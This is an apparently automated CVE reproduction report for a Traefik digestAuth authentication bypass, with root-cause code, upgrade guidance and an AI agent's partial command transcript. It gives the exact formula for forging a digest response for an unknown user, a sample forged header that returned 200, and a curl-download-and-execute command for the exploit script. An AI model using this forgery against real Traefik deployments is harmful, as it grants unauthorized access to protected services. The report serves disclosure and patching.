Skip to content

CVE-2026-85595: Verified Reproduction

CVE-2026-85595: Traefik digestAuth middleware gives empty secret to unknown usernames → auth bypass

CVE-2026-85595 is verified against traefik/traefik · github. Affected versions: All v1/v2/v3 releases shipping digestAuth: v2 <= v2.11.54 and v3.0.0 <= v3.7.10; v1 line, v2 minors < v2.11, v3 minors < v3.7 unmaintained and unpatched. Vulnerability class: Auth Bypass. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00352.

REPRO-2026-00352 traefik/traefik · github Auth Bypass Sep 11, 2026 CVE entry .txt
Severity
HIGH
Confidence
HIGH
Reproduced in
65m 40s
Tool calls
174
Spend
$3.33
01 · Overview

What Is CVE-2026-85595?

CVE-2026-85595 is a high-severity Auth Bypass vulnerability affecting traefik/traefik All v1/v2/v3 releases shipping digestAuth: v2 <= v2.11.54 and v3.0.0 <= v3.7.10; v1 line, v2 minors < v2.11, v3 minors < v3.7 unmaintained and unpatched. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00352).

02 · Severity & CVSS

CVE-2026-85595 Severity

CVE-2026-85595 is rated high severity.

HIGH threat level
Weakness CWE-287 — Improper Authentication

High — serious impact or readily exploitable. Prioritize remediation.

03 · Affected Versions

Affected traefik/traefik Versions

traefik/traefik · github versions All v1/v2/v3 releases shipping digestAuth: v2 <= v2.11.54 and v3.0.0 <= v3.7.10; v1 line, v2 minors < v2.11, v3 minors < v3.7 unmaintained and unpatched are affected.

How to Reproduce CVE-2026-85595

$ pruva-verify REPRO-2026-00352
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00352/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-85595

Authorization bypass — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

forged Authorization: Digest header for an unknown username (attacker-unknown-user) computed with the empty HA1 secret the vulnerable secretDigest() returns; response = MD5(":"+nonce+":00000001:83cfda9a:auth:"+MD5("GET:/protected/"))

Attack chain
  1. HTTP GET /protected/ on a digestAuth-protected Traefik router
  2. pkg/middlewares/auth/digest_auth.go secretDigest() returns "" for unknown user
  3. pinned containous/go-http-auth fork CheckAuth() accepts empty HA1
  4. request forwarded to protected backend (HTTP 200)
How the agent worked 393 events · 174 tool calls · 1h 6m
1h 6mDuration
174Tool calls
83Reasoning steps
393Events
23Dead-ends
Agent activity over 1h 6m
Policy
1
Support
13
Repro
202
Judge
22
Variant
150
Verify
1
0:0065:32

Root Cause and Exploit Chain for CVE-2026-85595

Versions: versions (empirically verified this run): traefik:v2.11.54 (bypassed), traefik:v3.6.11 (bypassed), and — contrary to the ticket's fixed-version claim — traefik:v3.6.12 (still bypassed). Every release shipping the middleware without the fix is affected.

Traefik's digestAuth middleware secret provider returns an empty string for a username that is absent from the configured htdigest user list, instead of signalling "no such user". The pinned github.com/containous/go-http-auth fork accepted that empty string as the user's HA1 digest secret. Because every other input to the digest computation (realm, nonce, opaque, uri, nc, cnonce, qop, HTTP method) is either chosen by the client or handed to it in the 401 challenge, a remote unauthenticated attacker can forge a mathematically valid Authorization: Digest header for an arbitrary unknown username with HA1 == "" and reach any route protected by digestAuth. This was reproduced end-to-end against the real product (official Traefik Docker images) through the real HTTP endpoint: the forged request returned HTTP 200 with the protected backend resource on vulnerable images and 401 on fixed images.

  • Package/component affected: Traefik pkg/middlewares/auth/digest_auth.go (secretDigest()) combined with the pinned dependency github.com/abbot/go-http-auth => github.com/containous/go-http-auth v0.4.1-0.20200324110947-a37a7636d23e (DigestAuth.CheckAuth()).
  • Affected versions (empirically verified this run): traefik:v2.11.54 (bypassed), traefik:v3.6.11 (bypassed), and — contrary to the ticket's fixed-version claim — traefik:v3.6.12 (still bypassed). Every release shipping the middleware without the fix is affected.
  • Risk level / consequences: Complete authentication bypass (high/critical). Any route protected only by digestAuth — including the Traefik dashboard/API when protected this way — is fully accessible without credentials. The forged username is also written to the access log's auth-user field, corrupting the audit trail.

Impact Parity

  • Disclosed/claimed maximum impact: Authentication bypass / authz bypass on any digestAuth-protected route via a crafted digest response for an unknown username (authz_bypass, surface api_remote).
  • Reproduced impact from this run: Full parity for the claimed impact. A single remote HTTP request with a forged Authorization: Digest header for an unknown username (attacker-unknown-user) obtained HTTP 200 and the protected backend body PROTECTED-BACKEND-RESOURCE-OK through the real Traefik HTTP endpoint on the vulnerable images; fixed images rejected the identical request with 401. Valid credentials still work (200) and a wrong password is still rejected (401) on every image, proving the middleware was exercised normally and only the unknown-user path is broken.
  • Parity: full
  • Not demonstrated: Nothing further is claimed by the ticket. (No code execution is involved; the impact is authorization bypass, which was demonstrated in full.)

Root Cause

  1. Traefik pkg/middlewares/auth/digest_auth.go builds the authenticator with goauth.NewDigestAuthenticator(realm, d.secretDigest). Its secret provider is:
    func (d *digestAuth) secretDigest(user, realm string) string {
        if secret, ok := d.users[user+":"+realm]; ok {
            return secret
        }
        return "" // <-- unknown user gets an EMPTY secret instead of "reject"
    }
    
    The users map is populated from the htdigest file (user:realm:HA1 lines) by getUsers/digestUserParser.
  2. The pinned fork github.com/containous/go-http-auth (replace directive in go.mod, pinned at a37a7636d23e) implements DigestAuth.CheckAuth() as:
    HA1 := da.Secrets(auth["username"], da.Realm)
    // no check that HA1 == "" means "unknown user"
    HA2 := H(r.Method + ":" + auth["uri"])
    KD := H(strings.Join([]string{HA1, auth["nonce"], auth["nc"], auth["cnonce"], auth["qop"], HA2}, ":"))
    if subtle.ConstantTimeCompare([]byte(KD), []byte(auth["response"])) != 1 { return "", nil }
    
    With HA1 == "", the attacker's expected response is MD5(":" + nonce + ":" + nc + ":" + cnonce + ":auth:" + MD5("GET:" + uri)) — trivially computable from the 401 challenge (nonce, opaque) and the attacker's own choices. Traefik's caller then only checks username == "" to decide failure, so the forged unknown username authenticates successfully.
  3. Fix: the fork commit b975dcaa8c48 adds to CheckAuth():
    HA1 := da.Secrets(auth["username"], da.Realm)
    if HA1 == "" {
        return "", nil
    }
    
    Traefik pulled the fixed fork in commit 2116686308a2518bf1851a39eeec738f1e901195 ("Bump github.com/containous/go-http-auth to b975dcaa8c48", go.mod replace directive v0.4.1-0.20260804094822-b975dcaa8c48).

Fixed-commit anchoring (verified via git, see bundle/logs/git_source_verification.log):

  • Fix commit 21166863 is contained in tag v2.11.55 (commit 1ac90fccb982f6de40f557493152bdb0c9f0a809) — verified fixed at runtime.
  • Fix commit 21166863 is absent from every v3.6.x tag (checked v3.6.0v3.6.25: all still pin fork a37a7636d23e). The first v3 tag containing the fix is v3.7.11 — verified fixed at runtime.
  • Consequently the ticket's "Fixed in ... v3.6.12" is incorrect: traefik:v3.6.12 (tag commit b782bd32d444af99d76e5f87970b02a9aa80ba97, image digest sha256:171c9c3565b29f6c133f1c1b43c5d4e5853415198e9e1078c001f8702ff66aec) was empirically still vulnerable in this run.

Reproduction Steps

  1. Script: bundle/repro/reproduction_steps.sh (self-contained; creates all configs, the backend service, and the attacker client itself at runtime).
  2. What it does:
    • Deploys the real product from official Docker images on a private Docker network: a python:3-alpine backend serving PROTECTED-BACKEND-RESOURCE-OK, and Traefik instances (static+dynamic file config) with a router PathPrefix(/protected) protected by the real digestAuth middleware (usersFile htdigest with one user test / realm traefik / password secret), plus an unprotected /open router for health checks.
    • Per image, runs two clean attempts (fresh container each): readiness wait, healthcheck (/open → 200, /protected/ no-auth → 401), then the attacker sequence through the real HTTP endpoint:
      1. GET /protected/ with no credentials → capture 401 challenge (realm, nonce, opaque);
      2. Attack: forged Authorization: Digest for unknown username attacker-unknown-user with HA1 = "", response = MD5(":"+nonce+":00000001:83cfda9a:auth:"+MD5("GET:/protected/"));
      3. Sanity: known user with correct password (expect 200);
      4. Sanity: known user with wrong password (expect 401).
    • Image matrix: traefik:v2.11.54 (vulnerable primary), traefik:v2.11.55 (fixed primary control), traefik:v3.6.11 (vulnerable v3 line), traefik:v3.6.12 (ticket-claimed fixed — tested empirically), traefik:v3.7.11 (first actually-fixed v3 control).
    • Writes per-attempt request/response transcripts, a machine-readable repro/exploit_results.json, a supplementary git source verification log, and repro/runtime_manifest.json.
  3. Expected evidence of reproduction (both consecutive runs produced exactly this):
    • v2.11.54, v3.6.11, and v3.6.12: attack step → HTTP 200, body PROTECTED-BACKEND-RESOURCE-OK (authentication bypassed, request forwarded to the protected backend).
    • v2.11.55 and v3.7.11: attack step → HTTP 401 with a fresh digest challenge (rejected).
    • Sanity on every image: correct credentials → 200, wrong password → 401.

Evidence

  • Per-attempt HTTP transcripts and JSON results: bundle/repro/artifacts/http/{vuln_primary,fixed_primary,vuln_v3,claimed_fixed_v3,fixed_v3_control}_v*._attempt{1,2}.{txt,json}
  • Aggregated verdict: bundle/repro/exploit_results.json
  • Runtime manifest (image digests, target identity, artifact hashes): bundle/repro/runtime_manifest.json
  • Git source verification (fix-commit ancestry for all five tags, fork diff): bundle/logs/git_source_verification.log
  • Full run log: bundle/logs/reproduction_steps.log
  • Key excerpt (vuln_primary_vv2.11.54_attempt1.txt):
    === step2 ATTACK forged digest, unknown username, empty HA1 secret ===
    > Authorization: Digest username="attacker-unknown-user", realm="traefik", nonce="4jleqQagi0BjT/09", uri="/protected/", algorithm=MD5, qop=auth, nc=00000001, cnonce="83cfda9a", response="939d544cfabce8f635f5c4bd372dc89c", opaque="YF7w7S9FYLwAFyIV"
    < HTTP/1.1 200
    < body: 'PROTECTED-BACKEND-RESOURCE-OK\n'
    
    and the fixed control (fixed_primary_vv2.11.55_attempt1.txt): identical forged header → < HTTP/1.1 401 + fresh Www-Authenticate challenge.
  • Environment: Docker (rootless daemon, Alpine), linux/amd64; images: traefik:v2.11.54 sha256:f10edd30…, traefik:v2.11.55 sha256:4f87b6b3…, traefik:v3.6.11 sha256:acfc8065…, traefik:v3.6.12 sha256:171c9c35…, traefik:v3.7.11 sha256:5203c3f3…, python:3-alpine backend.

Recommendations / Next Steps

  • Fix (already upstream): keep containous/go-http-auth >= b975dcaa8c48 (reject HA1 == "" in CheckAuth). Defence-in-depth: make Traefik's secretDigest() distinguish "no such user" from a secret (return an error / ok flag) rather than returning "", and reject before CheckAuth consumes it.
  • Upgrade guidance: upgrade the v2 line to v2.11.55 or later; for the v3 line the ticket's "v3.6.12" is not fixed — upgrade to v3.7.11 or later (or any build whose go.mod pins the fork at b975dcaa8c48). Operators on v3.6.x should treat digestAuth-protected routes as unprotected until they upgrade.
  • Detection: access-log lines whose auth-user is not a configured user on a digestAuth-protected route indicate exploitation.
  • Testing recommendation: add a regression test that a forged digest for a username absent from the htdigest file is rejected (the fork's digest_test.go gained exactly such a case in b975dcaa8c48).

Additional Notes

  • Idempotency: the script was executed twice consecutively; both runs exited 0 with identical results (10/10 attempts as expected, CONFIRMED: True). It cleans up all containers/networks it creates (start and via trap ... EXIT).
  • Ticket discrepancy (important for the Judge): the ticket/GHSA text says "Fixed in v2.11.55/v3.6.12". The v2.11.55 part is confirmed; the v3.6.12 part is disproved both by git ancestry (fix commit 21166863 is in no v3.6.x tag) and by runtime evidence (bypass succeeds against the official traefik:v3.6.12 image). The first fixed v3 release is v3.7.11.
  • Limitations: the reproduction uses Traefik's default realm traefik and the default MD5/qop=auth parameters; the vulnerability is independent of those choices (the secret lookup key and the digest formula adapt to whatever the server advertises). removeHeader: true was enabled on the middleware; the bypass works regardless. No sanitizers were used (product-mode proof, sanitizer_used=false).

CVE-2026-85595 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:003:24
0:00
session startedaccounts/fireworks/models/glm-5p3 · GHSA-24QW-84Q9-39WJ · REPRO-20
0:04
0:14
0:15
web search
0:23
0:49
0:50
web search
1:31
1:32
extract_facts
no facts extracted
1:33
1:33
supportclaim_contract
1:39
1:40
1:40
1:42
1:42
1:42
1:42
2:39
2:39
$echo "=== go ==="; (go version || true); echo "=== docker ==="; (docker --version || true); echo "=== node/python ==="; node --version; python3 --version; echo "=== project cache ==="; ls -la /pruva/project-cache/ 2>/dev/null || echo "no project cache dir"; ls -la /pruva/project-cache/repo-mirrors/ 2>/dev/null; cat /pruva/project-cache/.pruva/cache_manifest.json 2>/dev/null || echo "no cache manifest"
0.6s
=== go ===
=== docker ===
Docker version 29.1.3, build 29.1.3-0ubuntu4.1
=== node/python ===
v24.18.0
Python 3.14.4
=== project cache ===
total 4
2:40
$ls -la /workspace/bundle/repro/ /workspace/bundle/logs/repro/ /workspace/bundle/support/ 2>/dev/null; cat /workspace/bundle/artifact_promotion_manifest.json 2>/dev/null
0.4s
{"cwd":"/workspace","duration_ms":49,"exit_code":0,"stderr":"","stdout":"/workspace/bundle/logs/repro/:\ntotal 0\ndrwxr-xr-x 2 vscode vscode  40 Sep  5 07:05 .\ndrwxr-xr-x 5 vscode vscode 100 Sep  5 07:05 ..\n\n/workspace/bundle/repro/:\ntotal 0\ndrwxr-xr-x 2 vscode vscode  40 Sep  5 07:05 .\ndrwx------ 8 vscode vscode 260 Sep  5 07:05 ..\n\n/workspace/bundle/support/:\ntotal 0\ndrwxr-xr-x 2 vscode vscode  40 Sep  5 07:04 .\ndrwx------ 8 vscode vscode 260 Sep  5 07:05 ..\n{\n  \"schema_version\": 1,\n  \"run_id\": \"a26c6a1b-cb69-4bb8-ac4b-01fb1d6efa6f\",\n  \"updated_at\": \"2026-09-05T07:05:39.269174549Z\",\n  \"entries\": [\n    {\n      \"logical_path\": \"claim_contract/report.json\",\n      \"stage\": \"claim_contract\",\n      \"role\": \"claim_contract_report\",\n      \"destination\": \"private_only\",\n      \"required_for_verdict\": true,\n      \"publishable\": false,\n      \"reason\": \"Structural Claim Contract gate report; private orchestration data\",\n      \"sha256\": \"c28f98d6e6fee241cc198e91426b183e899583f8142cb25cb8a1160493e5e236\",\n      \"size_bytes\": 537,\n      \"content_type\": \"application/json\",\n      \"declared_by\": \"stage_validator\"\n    },\n… [truncated]
2:51
2:52
web search
2:54
$cd /pruva/project-cache/repo-mirrors && git clone --filter=blob:none --no-checkout https://github.com/traefik/traefik.git traefik.git 2>&1 | tail -5
1.7s
Cloning into 'traefik.git'...
3:08
3:08
$cd /pruva/project-cache/repo-mirrors/traefik.git && git fetch --tags --force origin 'refs/tags/v3.6.*:refs/tags/v3.6.*' 'refs/tags/v2.11.*:refs/tags/v2.11.*' 2>&1 | tail -3; git rev-parse v3.6.11 v3.6.12 v2.11.54 v2.11.55 2>&1
0.8s
33219a0af86c41a8db81d37c444f65172bfb3e35
b782bd32d444af99d76e5f87970b02a9aa80ba97
1e8e8c200cce5fbd1fff8579e5e9dc0311a8a54a
1ac90fccb982f6de40f557493152bdb0c9f0a809
3:17
$cd /pruva/project-cache/repo-mirrors/traefik.git && git diff v3.6.11..v3.6.12 --stat -- pkg/middlewares/auth/ go.mod | head -30; echo ===FULLDIFF===; git diff v3.6.11..v3.6.12 -- pkg/middlewares/auth/digest.go
0.8s
 go.mod                                   |  4 ++--
 pkg/middlewares/auth/basic_auth.go       |  2 ++
 pkg/middlewares/auth/basic_auth_test.go  | 24 ++++++++++++++++++++++++
 pkg/middlewares/auth/digest_auth.go      |  2 ++
 pkg/middlewares/auth/digest_auth_test.go | 27 +++++++++++++++++++++++++++
 5 files changed, 57 insertions(+), 2 deletions(-)
===FULLDIFF===
3:24
$cd /pruva/project-cache/repo-mirrors/traefik.git && git diff v3.6.11..v3.6.12 -- go.mod pkg/middlewares/auth/digest_auth.go pkg/middlewares/auth/basic_auth.go
0.4s
{"cwd":"/workspace","duration_ms":50,"exit_code":0,"stderr":"","stdout":"diff --git a/go.mod b/go.mod\nindex c540bd8e..becc90a9 100644\n--- a/go.mod\n+++ b/go.mod\n@@ -23,7 +23,7 @@ require (\n \tgithub.com/docker/go-connections v0.6.0\n \tgithub.com/fatih/structs v1.1.0\n \tgithub.com/fsnotify/fsnotify v1.9.0\n-\tgithub.com/go-acme/lego/v4 v4.32.0\n+\tgithub.com/go-acme/lego/v4 v4.33.0\n \tgithub.com/go-kit/kit v0.13.0\n \tgithub.com/go-kit/log v0.2.1\n \tgithub.com/golang/protobuf v1.5.4\n@@ -102,7 +102,7 @@ require (\n \tgolang.org/x/text v0.34.0\n \tgolang.org/x/time v0.14.0\n \tgolang.org/x/tools v0.41.0\n-\tgoogle.golang.org/grpc v1.79.1\n+\tgoogle.golang.org/grpc v1.79.3\n \tgopkg.in/natefinch/lumberjack.v2 v2.2.1\n \tgopkg.in/yaml.v3 v3.0.1\n \tk8s.io/api v0.34.3\ndiff --git a/pkg/middlewares/auth/basic_auth.go b/pkg/middlewares/auth/basic_auth.go\nindex 18d7995e..a6b99b45 100644\n--- a/pkg/middlewares/auth/basic_auth.go\n+++ b/pkg/middlewares/auth/basic_auth.go\n@@ -99,6 +99,8 @@ func (b *basicAuth) ServeHTTP(rw http.ResponseWriter, req *http.Request) {\n \treq.URL.User = url.User(user)\n \n \tif b.headerField != \"\" {\n+\t\t// TODO Deprecated we should add the header wit… [truncated]

Artifacts and Evidence for CVE-2026-85595

Scripts, logs, diffs, and output captured during the reproduction.

bundle/logs/git_source_verification.log1.6 KB
bundle/repro/artifacts/http/claimed_fixed_v3_vv3.6.12_attempt1.json0.5 KB
bundle/repro/artifacts/http/claimed_fixed_v3_vv3.6.12_attempt1.txt1.9 KB
bundle/repro/artifacts/http/claimed_fixed_v3_vv3.6.12_attempt2.json0.5 KB
bundle/repro/artifacts/http/claimed_fixed_v3_vv3.6.12_attempt2.txt1.9 KB
bundle/repro/artifacts/http/fixed_primary_vv2.11.55_attempt1.json0.5 KB
bundle/repro/artifacts/http/fixed_primary_vv2.11.55_attempt1.txt1.9 KB
bundle/repro/artifacts/http/fixed_primary_vv2.11.55_attempt2.json0.5 KB
bundle/repro/artifacts/http/fixed_primary_vv2.11.55_attempt2.txt1.9 KB
bundle/repro/artifacts/http/fixed_v3_control_vv3.7.11_attempt1.json0.5 KB
bundle/repro/artifacts/http/fixed_v3_control_vv3.7.11_attempt1.txt1.9 KB
bundle/repro/artifacts/http/fixed_v3_control_vv3.7.11_attempt2.json0.5 KB
bundle/repro/artifacts/http/fixed_v3_control_vv3.7.11_attempt2.txt1.9 KB
bundle/repro/artifacts/http/vuln_primary_vv2.11.54_attempt1.json0.5 KB
bundle/repro/artifacts/http/vuln_primary_vv2.11.54_attempt1.txt1.9 KB
bundle/repro/artifacts/http/vuln_primary_vv2.11.54_attempt2.json0.5 KB
bundle/repro/artifacts/http/vuln_primary_vv2.11.54_attempt2.txt1.9 KB
bundle/repro/artifacts/http/vuln_v3_vv3.6.11_attempt1.json0.5 KB
bundle/repro/artifacts/http/vuln_v3_vv3.6.11_attempt1.txt1.9 KB
bundle/repro/artifacts/http/vuln_v3_vv3.6.11_attempt2.json0.5 KB
bundle/repro/artifacts/http/vuln_v3_vv3.6.11_attempt2.txt1.9 KB
bundle/repro/exploit_results.json2.6 KB
bundle/repro/rca_report.md10.8 KB
bundle/repro/reproduction_steps.sh25.3 KB
bundle/repro/runtime_manifest.json6.8 KB
bundle/repro/validation_verdict.json1.5 KB
08 · How to Fix

How to Fix CVE-2026-85595

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-85595 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-85595

Is CVE-2026-85595 exploitable?

Yes. Pruva independently reproduced CVE-2026-85595 in traefik/traefik and verified the exploit fires end-to-end in a sandboxed environment. A runnable proof-of-concept script and the full agent transcript are on this page (reproduction REPRO-2026-00352).

How severe is CVE-2026-85595?

CVE-2026-85595 is rated high severity.

What type of vulnerability is CVE-2026-85595?

CVE-2026-85595 is classified as CWE-287 (Improper Authentication), a Auth Bypass vulnerability.

Which versions of traefik/traefik are affected by CVE-2026-85595?

traefik/traefik All v1/v2/v3 releases shipping digestAuth: v2 <= v2.11.54 and v3.0.0 <= v3.7.10; v1 line, v2 minors < v2.11, v3 minors < v3.7 unmaintained and unpatched is affected by CVE-2026-85595.

How can I reproduce CVE-2026-85595?

Pruva provides a verified reproduction script on this page. Download it and run it inside an isolated environment such as a container or virtual machine — never against production. The reproduction was confirmed end-to-end by Pruva's automated agents.

Is the CVE-2026-85595 reproduction verified?

Yes. Pruva reproduced CVE-2026-85595 with high confidence in a sandboxed environment, capturing the full agent transcript and artifacts as evidence.
11 · References

References for CVE-2026-85595

Authoritative sources for CVE-2026-85595 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.